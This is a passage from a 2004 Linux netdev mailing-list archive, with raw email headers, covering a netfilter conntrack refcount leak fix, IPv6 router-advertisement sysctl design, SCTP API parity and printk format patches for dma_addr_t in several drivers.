3 are UMLs) and could not > reproduce the problem. tcpdump shows that machine 1 sends fragmented ICMP > echo requests and machine 3 sends ICMP echo reply back. On machine 2, > ip_conntrack_max is lowered to 10, still there is no problem after > hundreds of pings. > > Do you have any extra patch applied on the top of 2.6.2rc2? No extra patches, it's the vanilla 2.6.2rc2 kernel. I'm running a nonmodular kernel and have spent this morning recompiling it with different options - the problem is only showing up when CONFIG_IP_NF_NAT is turned on, so I'm guessing that you are using a modular kernel and since you haven't set up any rules in the nat table, the module isn't loaded - try modprobing it and seeing if that helps. - Steve Hill Senior Software Developer Email: steve@navaho.co.uk Navaho Technologies Ltd. Tel: +44-870-7034015 ... Alcohol and calculus don't mix - Don't drink and derive! ... From kadlec@blackhole.kfki.hu Tue Feb 3 08:02:24 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 03 Feb 2004 08:02:28 -0800 (PST) Received: from blackhole.kfki.hu (blackhole.kfki.hu [148.6.0.114]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i13G2CKO025418 for ; Tue, 3 Feb 2004 08:02:13 -0800 Received: by blackhole.kfki.hu (Postfix, from userid 311) id 9925C87B1; Tue, 3 Feb 2004 16:32:42 +0100 (CET) Date: Tue, 3 Feb 2004 16:32:42 +0100 (CET) From: Jozsef Kadlecsik To: Steve Hill Cc: Subject: Re: Conntrack leak (2.6.2rc2) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 2971 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kadlec@blackhole.kfki.hu Precedence: bulk X-list: netdev Content-Length: 884 Lines: 21 On Tue, 3 Feb 2004, Steve Hill wrote: > No extra patches, it's the vanilla 2.6.2rc2 kernel. I'm running a > nonmodular kernel and have spent this morning recompiling it with > different options - the problem is only showing up when CONFIG_IP_NF_NAT > is turned on, so I'm guessing that you are using a modular kernel and > since you haven't set up any rules in the nat table, the module isn't > loaded - try modprobing it and seeing if that helps. I can confirm that with the NAT module loaded in, the leak you described appears. As if the reference counts created as refragging the packet would not be cleaned up properly... Best regards, Jozsef - E-mail : kadlec@blackhole.kfki.hu, kadlec@sunserv.kfki.hu PGP key : http://www.kfki.hu/~kadlec/pgp_public_key.txt Address : KFKI Research Institute for Particle and Nuclear Physics H-1525 Budapest 114, POB. 49, Hungary From davem@redhat.com Tue Feb 3 09:17:01 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 03 Feb 2004 09:17:04 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i13HH0KO001562 for ; Tue, 3 Feb 2004 09:17:01 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i13HFrb20822; Tue, 3 Feb 2004 12:15:53 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i13HFra32741; Tue, 3 Feb 2004 12:15:53 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i13HFNkC013057; Tue, 3 Feb 2004 12:15:23 -0500 Date: Tue, 3 Feb 2004 09:15:48 -0800 From: "David S. Miller" To: yoshfuji@linux-ipv6.org Cc: vnuorval@tcs.hut.fi, pekkas@netcore.fi, usagi-core@linux-ipv6.org, netdev@oss.sgi.com Subject: Re: (usagi-core 17336) Re: [PATCH|RFC] IPv6: have a proxy discard link-local traffic Message-Id: <20040203091548.61051d82.davem@redhat.com> In-Reply-To: <20040203.172419.43878373.yoshfuji@linux-ipv6.org> References: <20040128115910.0a83e906.davem@redhat.com> <20040203.171952.105535895.yoshfuji@linux-ipv6.org> <20040203.172419.43878373.yoshfuji@linux-ipv6.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i13HH0KO001562 X-archive-position: 2972 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 274 Lines: 8 On Tue, 03 Feb 2004 17:24:19 +0900 (JST) YOSHIFUJI Hideaki / $B5HF#1QL@(B wrote: > I however think this should be postponed after linux-2.6.2 is up > since this patch is not so "critical" fix. I agree, Ville please resubmit once 2.6.2 is out. From davem@redhat.com Tue Feb 3 09:18:45 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 03 Feb 2004 09:18:51 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i13HIiKO001823 for ; Tue, 3 Feb 2004 09:18:45 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i13HIgb22541; Tue, 3 Feb 2004 12:18:42 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i13HIga01432; Tue, 3 Feb 2004 12:18:42 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i13HIDkC015104; Tue, 3 Feb 2004 12:18:13 -0500 Date: Tue, 3 Feb 2004 09:18:41 -0800 From: "David S. Miller" To: yoshfuji@linux-ipv6.org Cc: netdev@oss.sgi.com Subject: Re: [PATCH] IPV6: fix a possible dst leakage in ndisc_send_redirect() Message-Id: <20040203091841.2804a29c.davem@redhat.com> In-Reply-To: <20040203.162754.96958174.yoshfuji@linux-ipv6.org> References: <20040203.162754.96958174.yoshfuji@linux-ipv6.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i13HIiKO001823 X-archive-position: 2973 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 410 Lines: 16 On Tue, 03 Feb 2004 16:27:54 +0900 (JST) YOSHIFUJI Hideaki / $B5HF#1QL@(B wrote: > D: fix a dst leakage in error path in ndisc_send_redirect(). Applied. An eventual cleanup of this function would be to consolidate all of these paths into a single: dst_out: dst_release(dst); return; near the end of the function that all these spots can jump to. But it's not so important. From davem@redhat.com Tue Feb 3 09:48:19 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 03 Feb 2004 09:48:21 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i13HmIKO003931 for ; Tue, 3 Feb 2004 09:48:18 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i13Hm9b09278; Tue, 3 Feb 2004 12:48:09 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i13Hm9a13072; Tue, 3 Feb 2004 12:48:09 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i13HldkC030093; Tue, 3 Feb 2004 12:47:40 -0500 Date: Tue, 3 Feb 2004 09:48:08 -0800 From: "David S. Miller" To: Jozsef Kadlecsik Cc: steve@navaho.co.uk, netdev@oss.sgi.com, netfilter-devel@lists.netfilter.org Subject: Re: [PATCH] fix netfilter refcounting [was Re: Conntrack leak (2.6.2rc2)] Message-Id: <20040203094808.2bb3640a.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2974 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 507 Lines: 15 On Tue, 3 Feb 2004 18:43:38 +0100 (CET) Jozsef Kadlecsik wrote: > Steve Hill reported a conntrack leakage in 2.6.2-rc2 when nat is enabled > and the system forwards fragmented packets. It turned out that an > nf_conntrack_put was missing from ip_copy_metadata: Yeah, but... look at what you patched. > /* Connection association is same as pre-frag packet */ > + nf_conntrack_put(to->nfct); > to->nfct = from->nfct; > nf_conntrack_get(to->nfct); What about that comment? From kadlec@blackhole.kfki.hu Tue Feb 3 10:15:44 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 03 Feb 2004 10:15:48 -0800 (PST) Received: from blackhole.kfki.hu (blackhole.kfki.hu [148.6.0.114]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i13IFXKO004757 for ; Tue, 3 Feb 2004 10:15:34 -0800 Received: by blackhole.kfki.hu (Postfix, from userid 311) id B7B9A87B1; Tue, 3 Feb 2004 18:43:38 +0100 (CET) Date: Tue, 3 Feb 2004 18:43:38 +0100 (CET) From: Jozsef Kadlecsik To: David Miller , Steve Hill Cc: , Subject: [PATCH] fix netfilter refcounting [was Re: Conntrack leak (2.6.2rc2)] In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 2975 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kadlec@blackhole.kfki.hu Precedence: bulk X-list: netdev Content-Length: 863 Lines: 27 Hi Dave, Steve Hill reported a conntrack leakage in 2.6.2-rc2 when nat is enabled and the system forwards fragmented packets. It turned out that an nf_conntrack_put was missing from ip_copy_metadata: --- a/net/ipv4/ip_output.c 2004-01-09 08:00:12.000000000 +0100 +++ t/net/ipv4/ip_output.c 2004-02-03 18:15:07.000000000 +0100 @@ -414,6 +414,7 @@ to->nfmark = from->nfmark; to->nfcache = from->nfcache; /* Connection association is same as pre-frag packet */ + nf_conntrack_put(to->nfct); to->nfct = from->nfct; nf_conntrack_get(to->nfct); #ifdef CONFIG_BRIDGE_NETFILTER Please apply the patch. Best regards, Jozsef - E-mail : kadlec@blackhole.kfki.hu, kadlec@sunserv.kfki.hu PGP key : http://www.kfki.hu/~kadlec/pgp_public_key.txt Address : KFKI Research Institute for Particle and Nuclear Physics H-1525 Budapest 114, POB. 49, Hungary From sri@us.ibm.com Tue Feb 3 10:17:00 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 03 Feb 2004 10:17:04 -0800 (PST) Received: from e4.ny.us.ibm.com (e4.ny.us.ibm.com [32.97.182.104]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i13IGxKO004966 for ; Tue, 3 Feb 2004 10:17:00 -0800 Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.56.224.150]) by e4.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i13IDuvM531658; Tue, 3 Feb 2004 13:13:56 -0500 Received: from w-sridhar.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay02.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i13IDtl2058012; Tue, 3 Feb 2004 13:13:55 -0500 Date: Tue, 3 Feb 2004 10:13:54 -0800 (PST) From: Sridhar Samudrala X-X-Sender: sridhar@localhost.localdomain To: "David S. Miller" cc: dwmw2@infradead.org, netdev@oss.sgi.com, marcelo.tosatti@cyclades.com, lksctp-developers@lists.sourceforge.net Subject: Re: SCTP sockopt discrepancy between 2.4 and 2.6. In-Reply-To: <20040202112150.3c8d5218.davem@redhat.com> Message-ID: References: <1075747382.786.366.camel@hades.cambridge.redhat.com> <20040202112150.3c8d5218.davem@redhat.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 2976 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: sri@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 521 Lines: 17 On Mon, 2 Feb 2004, David S. Miller wrote: > > I appreciate your status report Sridhar, thank you. > > But the fact of the matter is that 2.4.x and 2.6.x cannot export two > totally incompatible user visible APIs for the SCTP socket layer. > > This is something which must be fixed, not something we would like to > be fixed :-) I contacted the team that started the 2.4 backport and we will try to fix this in the next few weeks so that 2.4 lksctp is in sync 2.6. Hopefully this will happen by 2.4.26. Thanks Sridhar From davem@redhat.com Tue Feb 3 10:19:47 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 03 Feb 2004 10:19:50 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i13IJlKO005532 for ; Tue, 3 Feb 2004 10:19:47 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i13IJhb28985; Tue, 3 Feb 2004 13:19:43 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i13IJha25624; Tue, 3 Feb 2004 13:19:43 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i13IJDkC014512; Tue, 3 Feb 2004 13:19:13 -0500 Date: Tue, 3 Feb 2004 10:19:42 -0800 From: "David S. Miller" To: Sridhar Samudrala Cc: dwmw2@infradead.org, netdev@oss.sgi.com, marcelo.tosatti@cyclades.com, lksctp-developers@lists.sourceforge.net Subject: Re: SCTP sockopt discrepancy between 2.4 and 2.6. Message-Id: <20040203101942.4568a962.davem@redhat.com> In-Reply-To: References: <1075747382.786.366.camel@hades.cambridge.redhat.com> <20040202112150.3c8d5218.davem@redhat.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2977 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 319 Lines: 8 On Tue, 3 Feb 2004 10:13:54 -0800 (PST) Sridhar Samudrala wrote: > I contacted the team that started the 2.4 backport and we will try to fix > this in the next few weeks so that 2.4 lksctp is in sync 2.6. Hopefully > this will happen by 2.4.26. That's great news, thanks a lot for the status report. From davem@redhat.com Tue Feb 3 10:27:17 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 03 Feb 2004 10:27:20 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i13IRHKO005964 for ; Tue, 3 Feb 2004 10:27:17 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i13IRDb01334; Tue, 3 Feb 2004 13:27:13 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i13IRDa28780; Tue, 3 Feb 2004 13:27:13 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i13IQhkC018467; Tue, 3 Feb 2004 13:26:43 -0500 Date: Tue, 3 Feb 2004 10:27:12 -0800 From: "David S. Miller" To: Jozsef Kadlecsik Cc: steve@navaho.co.uk, netdev@oss.sgi.com, netfilter-devel@lists.netfilter.org Subject: Re: [PATCH] fix netfilter refcounting [was Re: Conntrack leak (2.6.2rc2)] Message-Id: <20040203102712.02626ed5.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2978 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 546 Lines: 12 On Tue, 3 Feb 2004 18:43:38 +0100 (CET) Jozsef Kadlecsik wrote: > Steve Hill reported a conntrack leakage in 2.6.2-rc2 when nat is enabled > and the system forwards fragmented packets. It turned out that an > nf_conntrack_put was missing from ip_copy_metadata: Nevermind my previous email, it was a total thinko... you're patch is obviously correct and we had this same damn exact problem with the bridging skbuff nf objects as well. (see changeset 1.1474.41.3) I'll apply your patch and push to Linus now. Thanks. From pekkas@netcore.fi Tue Feb 3 13:55:45 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 03 Feb 2004 13:55:50 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i13LtiKO023020 for ; Tue, 3 Feb 2004 13:55:45 -0800 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id i13Ltb209356 for ; Tue, 3 Feb 2004 23:55:38 +0200 Date: Tue, 3 Feb 2004 23:55:37 +0200 (EET) From: Pekka Savola To: netdev@oss.sgi.com Subject: Re: Disabling IPv6 accept_ra on just some interface (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=ISO-8859-1 X-archive-position: 2979 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pekkas@netcore.fi Precedence: bulk X-list: netdev Now that 2.6.x series in in a swing, being able to control, from the userspace, when to send RA's and when to shut them off would be very beneficial (2.4 too :). In particular, consider a distribution which wants to allow disabling autoconfig on one interface. When it's possible to do so, it's already too late.. ---------- Forwarded message ---------- Date: Mon, 27 Oct 2003 15:05:42 +0200 (EET) From: Pekka Savola To: "YOSHIFUJI Hideaki / [iso-2022-jp] $B5HF#1QL@(B" Cc: netdev@oss.sgi.com, sekiya@wide.ad.jp Subject: Re: Disabling IPv6 accept_ra on just some interface On Mon, 27 Oct 2003, YOSHIFUJI Hideaki / [iso-2022-jp] $B5HF#1QL@(B wrote: > In article (at Thu, 23 Oct 2003 15:22:47 +0300 (EEST)), Pekka Savola says: > > So, my thought (comments welcome) is: > > > > 1) when accept_ra changes from 0 -> 1, initiate the route > > solicitation process, likewise as one would when the interface is > > brought up. > > > > Makes sense? > > > > 2) (probably not a good idea, but some food for thought..) when accept_ra > > changes from 1 -> 0, delete any autoconfigured routes or > > prefixes. (could be ugly / dangerous..) > > Well, we'd propose to have another config "send_rs" or something like that > because accept_ra is also effective against unsolicited RAs. > It, "send_rs," tells kernel to start sending RS > when the variable is changed 0 to 1 and/or > when interface is going up. I don't have any major objections to this model, I'm just worried that it might make the configuration more complex (we already have accept_ra and "autoconf" toggles which are confusing enough without documentation :-) with little gain. That is, is there any case when you'd want to accept an RA but *not* send RS? I fail to see clear applicability for this, hence my proposal to overload accept_ra :-) > Assume the node has eth0 and eth1. > Operation will be something like the following. > > If you want to listen RA and to send RS on some interfaces, > sysctl -w net.ipv6.conf.default.accept_ra=0 > sysctl -w net.ipv6.conf.default.send_rs=0 > ifup -a > sysctl -w net.ipv6.conf.eth0.accept_ra=1 > sysctl -w net.ipv6.conf.eth0.send_rs=1 > > If you want to listen RA on all interfaces, but do not want to send RS on > some of them, > sysctl -w net.ipv6.conf.default.accept_ra=1 > sysctl -w net.ipv6.conf.default.send_rs=0 > ifup -a > sysctl -w net.ipv6.cont.eth0.send_rs=1 > > -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings From rddunlap@osdl.org Tue Feb 3 15:43:43 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 03 Feb 2004 15:43:54 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i13NhgKO028538 for ; Tue, 3 Feb 2004 15:43:42 -0800 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i13NhaB30211; Tue, 3 Feb 2004 15:43:36 -0800 Date: Tue, 3 Feb 2004 15:37:25 -0800 From: "Randy.Dunlap" To: netdev@oss.sgi.com Cc: jgarzik@pobox.com Subject: [PATCH] yellowfin: correct printk of dma_addr_t Message-Id: <20040203153725.1454e69f.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2982 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev description: fix dma_addr_t type error with CONFIG_HIGHMEM64G=y; product_versions: linux-262-rc3 diffstat:= drivers/net/yellowfin.c | 6 ++++-- 1 files changed, 4 insertions(+), 2 deletions(-) diff -Naurp ./drivers/net/yellowfin.c~yel_dma ./drivers/net/yellowfin.c --- ./drivers/net/yellowfin.c~yel_dma 2004-01-08 22:59:26.000000000 -0800 +++ ./drivers/net/yellowfin.c 2004-02-03 15:02:22.000000000 -0800 @@ -1286,7 +1286,8 @@ static int yellowfin_close(struct net_de #if defined(__i386__) if (yellowfin_debug > 2) { - printk("\n"KERN_DEBUG" Tx ring at %8.8x:\n", yp->tx_ring_dma); + printk("\n"KERN_DEBUG" Tx ring at %8.8llx:\n", + (unsigned long long)yp->tx_ring_dma); for (i = 0; i < TX_RING_SIZE*2; i++) printk(" %c #%d desc. %8.8x %8.8x %8.8x %8.8x.\n", inl(ioaddr + TxPtr) == (long)&yp->tx_ring[i] ? '>' : ' ', @@ -1298,7 +1299,8 @@ static int yellowfin_close(struct net_de i, yp->tx_status[i].tx_cnt, yp->tx_status[i].tx_errs, yp->tx_status[i].total_tx_cnt, yp->tx_status[i].paused); - printk("\n"KERN_DEBUG " Rx ring %8.8x:\n", yp->rx_ring_dma); + printk("\n"KERN_DEBUG " Rx ring %8.8llx:\n", + (unsigned long long)yp->rx_ring_dma); for (i = 0; i < RX_RING_SIZE; i++) { printk(KERN_DEBUG " %c #%d desc. %8.8x %8.8x %8.8x\n", inl(ioaddr + RxPtr) == (long)&yp->rx_ring[i] ? '>' : ' ', -- ~Randy From rddunlap@osdl.org Tue Feb 3 15:43:51 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 03 Feb 2004 15:43:54 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i13NhoKO028550 for ; Tue, 3 Feb 2004 15:43:51 -0800 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i13NhYB30191; Tue, 3 Feb 2004 15:43:34 -0800 Date: Tue, 3 Feb 2004 15:34:48 -0800 From: "Randy.Dunlap" To: chas@cmf.nrl.navy.mil Cc: netdev@oss.sgi.com Subject: [PATCH] atm/idt77252: correct printk of dma_addr_t Message-Id: <20040203153448.5c81e49d.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2981 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev description: fix dma_addr_t type error with CONFIG_HIGHMEM64G=y; product_versions: linux-262-rc3 diffstat:= drivers/atm/idt77252.c | 4 ++-- 1 files changed, 2 insertions(+), 2 deletions(-) diff -Naurp ./drivers/atm/idt77252.c~idt_dma ./drivers/atm/idt77252.c --- ./drivers/atm/idt77252.c~idt_dma 2004-01-08 22:59:33.000000000 -0800 +++ ./drivers/atm/idt77252.c 2004-02-03 14:14:08.000000000 -0800 @@ -664,8 +664,8 @@ alloc_scq(struct idt77252_dev *card, int skb_queue_head_init(&scq->transmit); skb_queue_head_init(&scq->pending); - TXPRINTK("idt77252: SCQ: base 0x%p, next 0x%p, last 0x%p, paddr %08x\n", - scq->base, scq->next, scq->last, scq->paddr); + TXPRINTK("idt77252: SCQ: base 0x%p, next 0x%p, last 0x%p, paddr %08llx\n", + scq->base, scq->next, scq->last, (unsigned long long)scq->paddr); return scq; } -- ~Randy From rddunlap@osdl.org Tue Feb 3 15:43:43 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 03 Feb 2004 15:43:48 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i13NhgKO028537 for ; Tue, 3 Feb 2004 15:43:42 -0800 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i13NhaB30202; Tue, 3 Feb 2004 15:43:36 -0800 Date: Tue, 3 Feb 2004 15:36:54 -0800 From: "Randy.Dunlap" To: netdev@oss.sgi.com Cc: jgarzik@pobox.com Subject: [PATCH] sundance: correct printk of dma_addr_t Message-Id: <20040203153654.7bc74d19.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2980 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev description: fix dma_addr_t type error with CONFIG_HIGHMEM64G=y; product_versions: linux-262-rc3 diffstat:= drivers/net/sundance.c | 8 ++++---- 1 files changed, 4 insertions(+), 4 deletions(-) diff -Naurp ./drivers/net/sundance.c~sundan_dma ./drivers/net/sundance.c --- ./drivers/net/sundance.c~sundan_dma 2004-02-03 14:53:24.000000000 -0800 +++ ./drivers/net/sundance.c 2004-02-03 14:54:28.000000000 -0800 @@ -986,8 +986,8 @@ static void tx_timeout(struct net_device { int i; for (i=0; itx_ring_dma + i*sizeof(*np->tx_ring), + printk(KERN_DEBUG "%02x %08llx %08x %08x(%02x) %08x %08x\n", i, + (unsigned long long)np->tx_ring_dma + i*sizeof(*np->tx_ring), le32_to_cpu(np->tx_ring[i].next_desc), le32_to_cpu(np->tx_ring[i].status), (le32_to_cpu(np->tx_ring[i].status) >> 2) & 0xff, @@ -1672,8 +1672,8 @@ static int netdev_ioctl(struct net_devic switch (cmd) { case SIOCDEVPRIVATE: for (i=0; itx_ring_dma + i*sizeof(*np->tx_ring), + printk(KERN_DEBUG "%02x %08llx %08x %08x(%02x) %08x %08x\n", i, + (unsigned long long)np->tx_ring_dma + i*sizeof(*np->tx_ring), le32_to_cpu(np->tx_ring[i].next_desc), le32_to_cpu(np->tx_ring[i].status), (le32_to_cpu(np->tx_ring[i].status) >> 2) -- ~Randy From steve@navaho.co.uk Wed Feb 4 02:20:05 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 04 Feb 2004 02:20:19 -0800 (PST) Received: from pinus.navaho (fairchild-196.adsl.newnet.co.uk [213.131.187.196]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i14AK2KO032106 for 